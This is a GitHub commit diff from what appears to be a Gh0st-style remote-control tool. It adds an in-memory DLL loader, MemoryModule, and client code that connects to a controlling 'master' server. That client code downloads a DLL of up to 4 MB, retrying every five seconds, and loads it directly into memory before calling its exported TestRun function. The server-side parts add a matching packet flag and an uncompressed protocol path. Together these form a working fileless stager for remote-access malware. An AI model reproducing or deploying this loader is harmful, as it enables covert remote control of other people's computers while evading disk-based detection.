Merge pull request #85 from yuanyuanxiang/dev

Implement a memory DLL runner
This commit is contained in:
yuanyuanxiang
2025-04-21 03:00:15 +08:00
committed by GitHub
6 changed files with 1572 additions and 20 deletions

1202
client/MemoryModule.c Normal file

File diff suppressed because it is too large Load Diff

168
client/MemoryModule.h Normal file
View File

@@ -0,0 +1,168 @@
/*
* Memory DLL loading code
* Version 0.0.4
*
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
* http://www.joachim-bauch.de
*
* The contents of this file are subject to the Mozilla Public License Version
* 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is MemoryModule.h
*
* The Initial Developer of the Original Code is Joachim Bauch.
*
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
* Joachim Bauch. All Rights Reserved.
*
*/
#ifndef __MEMORY_MODULE_HEADER
#define __MEMORY_MODULE_HEADER
#include <windows.h>
typedef void *HMEMORYMODULE;
typedef void *HMEMORYRSRC;
typedef void *HCUSTOMMODULE;
#ifdef __cplusplus
extern "C" {
#endif
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
/**
* Load EXE/DLL from memory location with the given size.
*
* All dependencies are resolved using default LoadLibrary/GetProcAddress
* calls through the Windows API.
*/
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
/**
* Load EXE/DLL from memory location with the given size using custom dependency
* resolvers.
*
* Dependencies will be resolved using passed callback methods.
*/
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
CustomAllocFunc,
CustomFreeFunc,
CustomLoadLibraryFunc,
CustomGetProcAddressFunc,
CustomFreeLibraryFunc,
void *);
/**
* Get address of exported method. Supports loading both by name and by
* ordinal value.
*/
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
/**
* Free previously loaded EXE/DLL.
*/
void MemoryFreeLibrary(HMEMORYMODULE);
/**
* Execute entry point (EXE only). The entry point can only be executed
* if the EXE has been loaded to the correct base address or it could
* be relocated (i.e. relocation information have not been stripped by
* the linker).
*
* Important: calling this function will not return, i.e. once the loaded
* EXE finished running, the process will terminate.
*
* Returns a negative value if the entry point could not be executed.
*/
int MemoryCallEntryPoint(HMEMORYMODULE);
/**
* Find the location of a resource with the specified type and name.
*/
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
/**
* Find the location of a resource with the specified type, name and language.
*/
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
/**
* Get the size of the resource in bytes.
*/
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
/**
* Get a pointer to the contents of the resource.
*/
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
/**
* Load a string resource.
*/
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
/**
* Load a string resource with a given language.
*/
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
/**
* Default implementation of CustomAllocFunc that calls VirtualAlloc
* internally to allocate memory for a library
*
* This is the default as used by MemoryLoadLibrary.
*/
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
/**
* Default implementation of CustomFreeFunc that calls VirtualFree
* internally to free the memory used by a library
*
* This is the default as used by MemoryLoadLibrary.
*/
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
/**
* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
* internally to load an additional libary.
*
* This is the default as used by MemoryLoadLibrary.
*/
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
/**
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
* internally to get the address of an exported function.
*
* This is the default as used by MemoryLoadLibrary.
*/
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
/**
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
* internally to release an additional libary.
*
* This is the default as used by MemoryLoadLibrary.
*/
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
#ifdef __cplusplus
}
#endif
#endif // __MEMORY_MODULE_HEADER

View File

@@ -154,9 +154,11 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="resource1.h" />
</ItemGroup>
<ItemGroup>

View File

@@ -1,9 +1,12 @@
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <corecrt_io.h>
#include "common/commands.h"
#include "StdAfx.h"
#include "MemoryModule.h"
#include <WS2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost"
@@ -25,7 +28,7 @@ IsExit bExit = NULL;
BOOL status = 0;
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL };
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL };
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege()
@@ -96,6 +99,157 @@ BOOL CALLBACK callback(DWORD CtrlType)
// <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>.
BOOL Run(const char* argv1, int argv2);
// Package header.
typedef struct PkgHeader {
char flag[8];
int totalLen;
int originLen;
PkgHeader(int size) {
memset(flag, 0, sizeof(flag));
strcpy_s(flag, "Hello?");
originLen = size;
totalLen = sizeof(PkgHeader) + size;
}
}PkgHeader;
// A DLL runner.
class DllRunner {
public:
virtual void* LoadLibraryA(const char* path) = 0;
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
virtual BOOL FreeLibrary(void* mod) = 0;
};
// Default DLL runner.
class DefaultDllRunner : public DllRunner {
private:
HMODULE m_mod;
public:
DefaultDllRunner() : m_mod(nullptr) {}
// Load DLL from the disk.
virtual void* LoadLibraryA(const char* path) {
return m_mod = ::LoadLibraryA(path);
}
virtual FARPROC GetProcAddress(void *mod, const char* lpProcName) {
return ::GetProcAddress(m_mod, lpProcName);
}
virtual BOOL FreeLibrary(void* mod) {
return ::FreeLibrary(m_mod);
}
};
// Memory DLL runner.
class MemoryDllRunner : public DllRunner {
private:
HMEMORYMODULE m_mod;
std::string GetIPAddress(const char* hostName)
{
// 1. <20>ж<EFBFBD><D0B6>Dz<EFBFBD><C7B2>ǺϷ<C7BA><CFB7><EFBFBD> IPv4 <20><>ַ
sockaddr_in sa;
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
// <20>ǺϷ<C7BA> IPv4 <20><>ַ<EFBFBD><D6B7>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
return std::string(hostName);
}
// 2. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
addrinfo hints = {}, * res = nullptr;
hints.ai_family = AF_INET; // ֻ֧<D6BB><D6A7> IPv4
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
if (getaddrinfo(hostName, nullptr, &hints, &res) != 0)
return "";
char ipStr[INET_ADDRSTRLEN] = {};
sockaddr_in* ipv4 = (sockaddr_in*)res->ai_addr;
inet_ntop(AF_INET, &(ipv4->sin_addr), ipStr, INET_ADDRSTRLEN);
freeaddrinfo(res);
return std::string(ipStr);
}
public:
MemoryDllRunner() : m_mod(nullptr){}
// Request DLL from the master.
virtual void* LoadLibraryA(const char* path) {
WSADATA wsaData = {};
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
return nullptr;
const int bufSize = 4 * 1024 * 1024;
char* buffer = new char[bufSize];
bool isFirstConnect = true;
do{
if (!isFirstConnect)
Sleep(5000);
isFirstConnect = false;
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (clientSocket == INVALID_SOCKET) {
continue;
}
DWORD timeout = 5000;
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
sockaddr_in serverAddr = {};
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(g_ConnectAddress.ServerPort());
std::string ip = GetIPAddress(g_ConnectAddress.ServerIP());
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket);
continue;
}
#ifdef _DEBUG
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
#else
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
#endif
char req[sizeof(PkgHeader) + 4] = {};
memcpy(req, &PkgHeader(4), sizeof(PkgHeader));
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
if (bytesSent != sizeof(req)) {
closesocket(clientSocket);
continue;
}
char *ptr = buffer + sizeof(PkgHeader);
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
while (totalReceived < bufSize) {
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
if (bytesReceived <= 0) break;
totalReceived += bytesReceived;
}
if (totalReceived < sizeof(PkgHeader) + 6) {
closesocket(clientSocket);
continue;
}
BYTE cmd = ptr[0], type = ptr[1];
int size = 0;
memcpy(&size, ptr + 2, sizeof(int));
if (totalReceived != size + 6 + sizeof(PkgHeader)) {
continue;
}
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
closesocket(clientSocket);
} while (false);
SAFE_DELETE_ARRAY(buffer);
WSACleanup();
return m_mod;
}
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
}
virtual BOOL FreeLibrary(void* mod) {
::MemoryFreeLibrary((HMEMORYMODULE)mod);
return TRUE;
}
};
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
// [settings]
// localIp=XXX
@@ -161,16 +315,18 @@ BOOL Run(const char* argv1, int argv2) {
Mprintf("Using new file: %s\n", newFile.c_str());
}
}
HMODULE hDll = LoadLibraryA(path);
DllRunner* runner = g_ConnectAddress.iType ? (DllRunner*) new MemoryDllRunner : new DefaultDllRunner;
void* hDll = runner->LoadLibraryA(path);
typedef void (*TestRun)(char* strHost, int nPort);
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
if (NULL == run) {
if (hDll) FreeLibrary(hDll);
if (hDll) runner->FreeLibrary(hDll);
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
Sleep(3000);
delete runner;
return FALSE;
}
do
@@ -201,11 +357,12 @@ BOOL Run(const char* argv1, int argv2) {
result = bExit();
}
} while (result == 2);
if (!FreeLibrary(hDll)) {
if (!runner->FreeLibrary(hDll)) {
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
}
else {
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
}
delete runner;
return result;
}

View File

@@ -506,6 +506,14 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
delete[] CompressedBuffer;
throw "Unknown method";
}
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
ContextObject->InDeCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
ContextObject->Decode(CompressedBuffer, ulOriginalLength);
m_NotifyProc(ContextObject);
SAFE_DELETE_ARRAY(CompressedBuffer);
break;
}
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false;
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
size_t iRet = usingZstd ?
@@ -570,12 +578,17 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
}
try
{
if (ulOriginalLength > 0)
do
{
if (ulOriginalLength <= 0) return;
if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
OutputDebugStringA("[ERROR] UNKNOWN compress method \n");
return;
}
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength);
break;
}
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
#if USING_LZ4
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
@@ -601,7 +614,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
delete [] CompressedBuffer;
}
}while (false);
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);

View File

@@ -72,6 +72,13 @@ typedef struct PR {
}
}PR;
enum {
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMPRESS_NONE = 1, // û<><C3BB>ѹ<EFBFBD><D1B9>
};
struct CONTEXT_OBJECT;
// Header parser: parse the data to make sure it's from a supported client.
@@ -84,7 +91,7 @@ protected:
virtual ~HeaderParser() {
Reset();
}
PR Parse(CBuffer& buf) {
PR Parse(CBuffer& buf, int &compressMethod) {
const int MinimumCount = 8;
if (buf.GetBufferLength() < MinimumCount) {
return PR{ PARSER_NEEDMORE };
@@ -95,7 +102,7 @@ protected:
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
}
// More version may be added in the future.
const char version0[] = "Shine", version1[] = "<<FUCK>>";
const char version0[] = "Shine", version1[] = "<<FUCK>>", version2[] = "Hello?";
if (memcmp(version0, szPacketFlag, sizeof(version0) - 1) == 0) {
memcpy(m_szPacketFlag, version0, sizeof(version0) - 1);
m_nCompareLen = strlen(m_szPacketFlag);
@@ -112,6 +119,15 @@ protected:
m_bParsed = TRUE;
m_Encoder = new XOREncoder();
}
else if (memcmp(version2, szPacketFlag, sizeof(version2) - 1) == 0) {
memcpy(m_szPacketFlag, version2, sizeof(version2) - 1);
m_nCompareLen = strlen(m_szPacketFlag);
m_nFlagLen = 8;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
compressMethod = COMPRESS_NONE;
m_Encoder = new Encoder();
}
else {
return PR{ PARSER_FAILED };
}
@@ -154,12 +170,6 @@ enum IOType
IOIdle
};
enum {
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};
typedef struct CONTEXT_OBJECT
{
CString sClientInfo[10];
@@ -224,7 +234,7 @@ typedef struct CONTEXT_OBJECT
}
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
PR Parse(CBuffer& buf) {
return Parser.Parse(buf);
return Parser.Parse(buf, CompressMethod);
}
// Encode data before compress.
void Encode(PBYTE data, int len) const {